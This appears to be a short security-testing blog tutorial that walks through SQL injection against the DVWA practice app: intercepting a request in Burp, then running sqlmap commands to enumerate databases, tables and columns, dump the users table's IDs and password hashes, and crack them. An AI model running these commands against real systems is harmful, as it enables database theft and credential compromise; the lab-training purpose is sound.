How to dump Database using Sqlmap

Database Dump using SQLMap
  1. Find out the parameter of application that is vulnerable to SQL injection.

  1. Vulnerable Parameter  : “User ID”
  2. Enter ‘ and then click on Submit button. will get the SQL Error.





  1. Now Intercept the Request in burp.
  1. Copy the incepted request and save it in sqlmap installed directory.
  2. Open CMD and go to the directory where SQL map is installed (C:/sqlmap) and type sqlmap.py –r sqlinjection (filename) –-dbs and then enter. (dbs is used for dump database name).



  1. Then type Y and enter.

  1. Type N and enter, it display all the database
    .

  1. Now we have to find out the table in database. Type sqlmap.py –r sqlinjection –D dvwa(database name) –tables.


    In the above snap we got the table name in dvwa database.
  1. Then we have find out the column name. type sqlmap.py –r sqlinjection –d dvwa –T users –column.



  1. Now we are going to dump the userid and password from column. Type sqlmap.py –r sqlinjection –d dvwa –T users –C user_id,password –dump.

  1. It ask for to store the hash value. Type Y.
  1. In above snap it ask for to crack the hash value type Y.
  1. Then it ask for which directory u want to use to crack the hash value then choose default directory of sqlmap. And type 1 and enter.


Comments

Popular posts from this blog

Payment Gateway Security Testing Checklist

Network Security VAPT Checklist